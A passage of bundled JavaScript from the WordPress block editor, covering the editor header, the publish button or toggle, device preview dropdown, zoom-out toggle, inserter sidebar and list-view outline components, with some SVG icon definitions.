            info: (0,external_wp_i18n_namespaceObject.__)('Write with calmness'),
            handleToggling: false,
            onToggle: () => toggleDistractionFree({
              createNotice: false
            }),
            messageActivated: (0,external_wp_i18n_namespaceObject.__)('Distraction free mode activated.'),
            messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Distraction free mode deactivated.'),
            shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primaryShift('\\')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, {
            scope: "core",
            name: "focusMode",
            label: (0,external_wp_i18n_namespaceObject.__)('Spotlight mode'),
            info: (0,external_wp_i18n_namespaceObject.__)('Focus on one block at a time'),
            messageActivated: (0,external_wp_i18n_namespaceObject.__)('Spotlight mode activated.'),
            messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Spotlight mode deactivated.')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(view_more_menu_group.Slot, {
            fillProps: {
              onClose
            }
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mode_switcher, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action_item.Slot, {
          name: "core/plugin-more-menu",
          label: (0,external_wp_i18n_namespaceObject.__)('Plugins'),
          fillProps: {
            onClick: onClose
          }
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
          label: (0,external_wp_i18n_namespaceObject.__)('Tools'),
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => openModal('editor/keyboard-shortcut-help'),
            shortcut: external_wp_keycodes_namespaceObject.displayShortcut.access('h'),
            children: (0,external_wp_i18n_namespaceObject.__)('Keyboard shortcuts')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyContentMenuItem, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuItem, {
            icon: library_external,
            href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/wordpress-block-editor/'),
            target: "_blank",
            rel: "noopener noreferrer",
            children: [(0,external_wp_i18n_namespaceObject.__)('Help'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
              as: "span",
              children: /* translators: accessibility text */
              (0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)')
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(tools_more_menu_group.Slot, {
            fillProps: {
              onClose
            }
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => openModal('editor/preferences'),
            children: (0,external_wp_i18n_namespaceObject.__)('Preferences')
          })
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-button/post-publish-button-or-toggle.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const IS_TOGGLE = 'toggle';
const IS_BUTTON = 'button';
function PostPublishButtonOrToggle({
  forceIsDirty,
  setEntitiesSavedStatesCallback
}) {
  let component;
  const isSmallerThanMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const {
    togglePublishSidebar
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    hasPublishAction,
    isBeingScheduled,
    isPending,
    isPublished,
    isPublishSidebarEnabled,
    isPublishSidebarOpened,
    isScheduled,
    postStatus,
    postStatusHasChanged
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getCurrentPos;
    return {
      hasPublishAction: (_select$getCurrentPos = !!select(store_store).getCurrentPost()?._links?.['wp:action-publish']) !== null && _select$getCurrentPos !== void 0 ? _select$getCurrentPos : false,
      isBeingScheduled: select(store_store).isEditedPostBeingScheduled(),
      isPending: select(store_store).isCurrentPostPending(),
      isPublished: select(store_store).isCurrentPostPublished(),
      isPublishSidebarEnabled: select(store_store).isPublishSidebarEnabled(),
      isPublishSidebarOpened: select(store_store).isPublishSidebarOpened(),
      isScheduled: select(store_store).isCurrentPostScheduled(),
      postStatus: select(store_store).getEditedPostAttribute('status'),
      postStatusHasChanged: select(store_store).getPostEdits()?.status
    };
  }, []);

  /**
   * Conditions to show a BUTTON (publish directly) or a TOGGLE (open publish sidebar):
   *
   * 1) We want to show a BUTTON when the post status is at the _final stage_
   * for a particular role (see https://wordpress.org/documentation/article/post-status/):
   *
   * - is published
   * - post status has changed explicitly to something different than 'future' or 'publish'
   * - is scheduled to be published
   * - is pending and can't be published (but only for viewports >= medium).
   * 	 Originally, we considered showing a button for pending posts that couldn't be published
   * 	 (for example, for an author with the contributor role). Some languages can have
   * 	 long translations for "Submit for review", so given the lack of UI real estate available
   * 	 we decided to take into account the viewport in that case.
   *  	 See: https://github.com/WordPress/gutenberg/issues/10475
   *
   * 2) Then, in small viewports, we'll show a TOGGLE.
   *
   * 3) Finally, we'll use the publish sidebar status to decide:
   *
   * - if it is enabled, we show a TOGGLE
   * - if it is disabled, we show a BUTTON
   */
  if (isPublished || postStatusHasChanged && !['future', 'publish'].includes(postStatus) || isScheduled && isBeingScheduled || isPending && !hasPublishAction && !isSmallerThanMediumViewport) {
    component = IS_BUTTON;
  } else if (isSmallerThanMediumViewport || isPublishSidebarEnabled) {
    component = IS_TOGGLE;
  } else {
    component = IS_BUTTON;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_publish_button, {
    forceIsDirty: forceIsDirty,
    isOpen: isPublishSidebarOpened,
    isToggle: component === IS_TOGGLE,
    onToggle: togglePublishSidebar,
    setEntitiesSavedStatesCallback: setEntitiesSavedStatesCallback
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-view-link/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function PostViewLink() {
  const {
    hasLoaded,
    permalink,
    isPublished,
    label,
    showIconLabels
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // Grab post type to retrieve the view_item label.
    const postTypeSlug = select(store_store).getCurrentPostType();
    const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    return {
      permalink: select(store_store).getPermalink(),
      isPublished: select(store_store).isCurrentPostPublished(),
      label: postType?.labels.view_item,
      hasLoaded: !!postType,
      showIconLabels: get('core', 'showIconLabels')
    };
  }, []);

  // Only render the view button if the post is published and has a permalink.
  if (!isPublished || !permalink || !hasLoaded) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    icon: library_external,
    label: label || (0,external_wp_i18n_namespaceObject.__)('View post'),
    href: permalink,
    target: "_blank",
    showTooltip: !showIconLabels,
    size: "compact"
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/desktop.js
/**
 * WordPress dependencies
 */


const desktop = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z"
  })
});
/* harmony default export */ const library_desktop = (desktop);

;// ./node_modules/@wordpress/icons/build-module/library/mobile.js
/**
 * WordPress dependencies
 */


const mobile = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z"
  })
});
/* harmony default export */ const library_mobile = (mobile);

;// ./node_modules/@wordpress/icons/build-module/library/tablet.js
/**
 * WordPress dependencies
 */


const tablet = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z"
  })
});
/* harmony default export */ const library_tablet = (tablet);

;// ./node_modules/@wordpress/editor/build-module/components/preview-dropdown/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */





function PreviewDropdown({
  forceIsAutosaveable,
  disabled
}) {
  const {
    deviceType,
    homeUrl,
    isTemplate,
    isViewable,
    showIconLabels,
    isTemplateHidden,
    templateId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getPostType$viewable;
    const {
      getDeviceType,
      getCurrentPostType,
      getCurrentTemplateId
    } = select(store_store);
    const {
      getRenderingMode
    } = unlock(select(store_store));
    const {
      getEntityRecord,
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const _currentPostType = getCurrentPostType();
    return {
      deviceType: getDeviceType(),
      homeUrl: getEntityRecord('root', '__unstableBase')?.home,
      isTemplate: _currentPostType === 'wp_template',
      isViewable: (_getPostType$viewable = getPostType(_currentPostType)?.viewable) !== null && _getPostType$viewable !== void 0 ? _getPostType$viewable : false,
      showIconLabels: get('core', 'showIconLabels'),
      isTemplateHidden: getRenderingMode() === 'post-only',
      templateId: getCurrentTemplateId()
    };
  }, []);
  const {
    setDeviceType,
    setRenderingMode,
    setDefaultRenderingMode
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  const {
    resetZoomLevel
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
  const handleDevicePreviewChange = newDeviceType => {
    setDeviceType(newDeviceType);
    resetZoomLevel();
  };
  const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  if (isMobile) {
    return null;
  }
  const popoverProps = {
    placement: 'bottom-end'
  };
  const toggleProps = {
    className: 'editor-preview-dropdown__toggle',
    iconPosition: 'right',
    size: 'compact',
    showTooltip: !showIconLabels,
    disabled,
    accessibleWhenDisabled: disabled
  };
  const menuProps = {
    'aria-label': (0,external_wp_i18n_namespaceObject.__)('View options')
  };
  const deviceIcons = {
    desktop: library_desktop,
    mobile: library_mobile,
    tablet: library_tablet
  };

  /**
   * The choices for the device type.
   *
   * @type {Array}
   */
  const choices = [{
    value: 'Desktop',
    label: (0,external_wp_i18n_namespaceObject.__)('Desktop'),
    icon: library_desktop
  }, {
    value: 'Tablet',
    label: (0,external_wp_i18n_namespaceObject.__)('Tablet'),
    icon: library_tablet
  }, {
    value: 'Mobile',
    label: (0,external_wp_i18n_namespaceObject.__)('Mobile'),
    icon: library_mobile
  }];
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
    className: dist_clsx('editor-preview-dropdown', `editor-preview-dropdown--${deviceType.toLowerCase()}`),
    popoverProps: popoverProps,
    toggleProps: toggleProps,
    menuProps: menuProps,
    icon: deviceIcons[deviceType.toLowerCase()],
    label: (0,external_wp_i18n_namespaceObject.__)('View'),
    disableOpenOnArrowDown: disabled,
    children: ({
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItemsChoice, {
          choices: choices,
          value: deviceType,
          onSelect: handleDevicePreviewChange
        })
      }), isTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuItem, {
          href: homeUrl,
          target: "_blank",
          icon: library_external,
          onClick: onClose,
          children: [(0,external_wp_i18n_namespaceObject.__)('View site'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
            as: "span",
            children: /* translators: accessibility text */
            (0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)')
          })]
        })
      }), !isTemplate && !!templateId && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          icon: !isTemplateHidden ? library_check : undefined,
          isSelected: !isTemplateHidden,
          role: "menuitemcheckbox",
          onClick: () => {
            const newRenderingMode = isTemplateHidden ? 'template-locked' : 'post-only';
            setRenderingMode(newRenderingMode);
            setDefaultRenderingMode(newRenderingMode);
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Show template')
        })
      }), isViewable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPreviewButton, {
          className: "editor-preview-dropdown__button-external",
          role: "menuitem",
          forceIsAutosaveable: forceIsAutosaveable,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Preview in new tab'),
          textContent: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
            children: [(0,external_wp_i18n_namespaceObject.__)('Preview in new tab'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: library_external
            })]
          }),
          onPreview: onClose
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action_item.Slot, {
        name: "core/plugin-preview-menu",
        fillProps: {
          onClick: onClose
        }
      })]
    })
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/square.js
/**
 * WordPress dependencies
 */


const square = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fill: "none",
    d: "M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25",
    stroke: "currentColor",
    strokeWidth: "1.5",
    strokeLinecap: "square"
  })
});
/* harmony default export */ const library_square = (square);

;// ./node_modules/@wordpress/editor/build-module/components/zoom-out-toggle/index.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */


const ZoomOutToggle = ({
  disabled
}) => {
  const {
    isZoomOut,
    showIconLabels,
    isDistractionFree
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    isZoomOut: unlock(select(external_wp_blockEditor_namespaceObject.store)).isZoomOut(),
    showIconLabels: select(external_wp_preferences_namespaceObject.store).get('core', 'showIconLabels'),
    isDistractionFree: select(external_wp_preferences_namespaceObject.store).get('core', 'distractionFree')
  }));
  const {
    resetZoomLevel,
    setZoomLevel
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
  const {
    registerShortcut,
    unregisterShortcut
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerShortcut({
      name: 'core/editor/zoom',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Enter or exit zoom out.'),
      keyCombination: {
        // `primaryShift+0` (`ctrl+shift+0`) is the shortcut for switching
        // to input mode in Windows, so apply a different key combination.
        modifier: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? 'primaryShift' : 'secondary',
        character: '0'
      }
    });
    return () => {
      unregisterShortcut('core/editor/zoom');
    };
  }, [registerShortcut, unregisterShortcut]);
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/zoom', () => {
    if (isZoomOut) {
      resetZoomLevel();
    } else {
      setZoomLevel('auto-scaled');
    }
  }, {
    isDisabled: isDistractionFree
  });
  const handleZoomOut = () => {
    if (isZoomOut) {
      resetZoomLevel();
    } else {
      setZoomLevel('auto-scaled');
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    accessibleWhenDisabled: true,
    disabled: disabled,
    onClick: handleZoomOut,
    icon: library_square,
    label: (0,external_wp_i18n_namespaceObject.__)('Zoom Out'),
    isPressed: isZoomOut,
    size: "compact",
    showTooltip: !showIconLabels,
    className: "editor-zoom-out-toggle"
  });
};
/* harmony default export */ const zoom_out_toggle = (ZoomOutToggle);

;// ./node_modules/@wordpress/editor/build-module/components/header/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */
















const isBlockCommentExperimentEnabled = window?.__experimentalEnableBlockComment;
const toolbarVariations = {
  distractionFreeDisabled: {
    y: '-50px'
  },
  distractionFreeHover: {
    y: 0
  },
  distractionFreeHidden: {
    y: '-50px'
  },
  visible: {
    y: 0
  },
  hidden: {
    y: 0
  }
};
const backButtonVariations = {
  distractionFreeDisabled: {
    x: '-100%'
  },
  distractionFreeHover: {
    x: 0
  },
  distractionFreeHidden: {
    x: '-100%'
  },
  visible: {
    x: 0
  },
  hidden: {
    x: 0
  }
};
function header_Header({
  customSaveButton,
  forceIsDirty,
  forceDisableBlockTools,
  setEntitiesSavedStatesCallback,
  title
}) {
  const isWideViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('large');
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium');
  const isTooNarrowForDocumentBar = (0,external_wp_compose_namespaceObject.useMediaQuery)('(max-width: 403px)');
  const {
    postType,
    isTextEditor,
    isPublishSidebarOpened,
    showIconLabels,
    hasFixedToolbar,
    hasBlockSelection,
    hasSectionRootClientId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      get: getPreference
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      getEditorMode,
      getCurrentPostType,
      isPublishSidebarOpened: _isPublishSidebarOpened
    } = select(store_store);
    const {
      getBlockSelectionStart,
      getSectionRootClientId
    } = unlock(select(external_wp_blockEditor_namespaceObject.store));
    return {
      postType: getCurrentPostType(),
      isTextEditor: getEditorMode() === 'text',
      isPublishSidebarOpened: _isPublishSidebarOpened(),
      showIconLabels: getPreference('core', 'showIconLabels'),
      hasFixedToolbar: getPreference('core', 'fixedToolbar'),
      hasBlockSelection: !!getBlockSelectionStart(),
      hasSectionRootClientId: !!getSectionRootClientId()
    };
  }, []);
  const canBeZoomedOut = ['post', 'page', 'wp_template'].includes(postType) && hasSectionRootClientId;
  const disablePreviewOption = [NAVIGATION_POST_TYPE, TEMPLATE_PART_POST_TYPE, PATTERN_POST_TYPE].includes(postType) || forceDisableBlockTools;
  const [isBlockToolsCollapsed, setIsBlockToolsCollapsed] = (0,external_wp_element_namespaceObject.useState)(true);
  const hasCenter = !isTooNarrowForDocumentBar && (!hasFixedToolbar || hasFixedToolbar && (!hasBlockSelection || isBlockToolsCollapsed));
  const hasBackButton = useHasBackButton();

  /*
   * The edit-post-header classname is only kept for backward compatibility
   * as some plugins might be relying on its presence.
   */
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-header edit-post-header",
    children: [hasBackButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      className: "editor-header__back-button",
      variants: backButtonVariations,
      transition: {
        type: 'tween'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(back_button.Slot, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: toolbarVariations,
      className: "editor-header__toolbar",
      transition: {
        type: 'tween'
      },
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(document_tools, {
        disableBlockTools: forceDisableBlockTools || isTextEditor
      }), hasFixedToolbar && isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CollapsibleBlockToolbar, {
        isCollapsed: isBlockToolsCollapsed,
        onToggle: setIsBlockToolsCollapsed
      })]
    }), hasCenter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      className: "editor-header__center",
      variants: toolbarVariations,
      transition: {
        type: 'tween'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DocumentBar, {
        title: title
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: toolbarVariations,
      transition: {
        type: 'tween'
      },
      className: "editor-header__settings",
      children: [!customSaveButton && !isPublishSidebarOpened &&
      /*#__PURE__*/
      /*
       * This button isn't completely hidden by the publish sidebar.
       * We can't hide the whole toolbar when the publish sidebar is open because
       * we want to prevent mounting/unmounting the PostPublishButtonOrToggle DOM node.
       * We track that DOM node to return focus to the PostPublishButtonOrToggle
       * when the publish sidebar has been closed.
       */
      (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSavedState, {
        forceIsDirty: forceIsDirty
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostViewLink, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewDropdown, {
        forceIsAutosaveable: forceIsDirty,
        disabled: disablePreviewOption
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPreviewButton, {
        className: "editor-header__post-preview-button",
        forceIsAutosaveable: forceIsDirty
      }), isWideViewport && canBeZoomedOut && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(zoom_out_toggle, {
        disabled: forceDisableBlockTools
      }), (isWideViewport || !showIconLabels) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items.Slot, {
        scope: "core"
      }), !customSaveButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPublishButtonOrToggle, {
        forceIsDirty: forceIsDirty,
        setEntitiesSavedStatesCallback: setEntitiesSavedStatesCallback
      }), isBlockCommentExperimentEnabled ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CollabSidebar, {}) : undefined, customSaveButton, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {})]
    })]
  });
}
/* harmony default export */ const components_header = (header_Header);

;// ./node_modules/@wordpress/editor/build-module/components/inserter-sidebar/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */



const {
  PrivateInserterLibrary
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function InserterSidebar() {
  const {
    blockSectionRootClientId,
    inserterSidebarToggleRef,
    inserter,
    showMostUsedBlocks,
    sidebarIsOpened
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getInserterSidebarToggleRef,
      getInserter,
      isPublishSidebarOpened
    } = unlock(select(store_store));
    const {
      getBlockRootClientId,
      isZoomOut,
      getSectionRootClientId
    } = unlock(select(external_wp_blockEditor_namespaceObject.store));
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      getActiveComplementaryArea
    } = select(store);
    const getBlockSectionRootClientId = () => {
      if (isZoomOut()) {
        const sectionRootClientId = getSectionRootClientId();
        if (sectionRootClientId) {
          return sectionRootClientId;
        }
      }
      return getBlockRootClientId();
    };
    return {
      inserterSidebarToggleRef: getInserterSidebarToggleRef(),
      inserter: getInserter(),
      showMostUsedBlocks: get('core', 'mostUsedBlocks'),
      blockSectionRootClientId: getBlockSectionRootClientId(),
      sidebarIsOpened: !!(getActiveComplementaryArea('core') || isPublishSidebarOpened())
    };
  }, []);
  const {
    setIsInserterOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    disableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const libraryRef = (0,external_wp_element_namespaceObject.useRef)();

  // When closing the inserter, focus should return to the toggle button.
  const closeInserterSidebar = (0,external_wp_element_namespaceObject.useCallback)(() => {
    setIsInserterOpened(false);
    inserterSidebarToggleRef.current?.focus();
  }, [inserterSidebarToggleRef, setIsInserterOpened]);
  const closeOnEscape = (0,external_wp_element_namespaceObject.useCallback)(event => {
    if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
      event.preventDefault();
      closeInserterSidebar();
    }
  }, [closeInserterSidebar]);
  const inserterContents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "editor-inserter-sidebar__content",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateInserterLibrary, {
      showMostUsedBlocks: showMostUsedBlocks,
      showInserterHelpPanel: true,
      shouldFocusBlock: isMobileViewport,
      rootClientId: blockSectionRootClientId,
      onSelect: inserter.onSelect,
      __experimentalInitialTab: inserter.tab,
      __experimentalInitialCategory: inserter.category,
      __experimentalFilterValue: inserter.filterValue,
      onPatternCategorySelection: sidebarIsOpened ? () => disableComplementaryArea('core') : undefined,
      ref: libraryRef,
      onClose: closeInserterSidebar
    })
  });
  return (
    /*#__PURE__*/
    // eslint-disable-next-line jsx-a11y/no-static-element-interactions
    (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      onKeyDown: closeOnEscape,
      className: "editor-inserter-sidebar",
      children: inserterContents
    })
  );
}

;// ./node_modules/@wordpress/editor/build-module/components/list-view-sidebar/list-view-outline.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





function ListViewOutline() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-list-view-sidebar__outline",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          children: (0,external_wp_i18n_namespaceObject.__)('Characters:')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CharacterCount, {})
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          children: (0,external_wp_i18n_namespaceObject.__)('Words:')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WordCount, {})]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          children: (0,external_wp_i18n_namespaceObject.__)('Time to read:')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TimeToRead, {})]
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DocumentOutline, {})]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/list-view-sidebar/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */




const {
  TabbedSidebar
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ListViewSidebar() {
  const {
    setIsListViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    getListViewToggleRef
  } = unlock((0,external_wp_data_namespaceObject.useSelect)(store_store));

  // This hook handles focus when the sidebar first renders.
  const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)('firstElement');

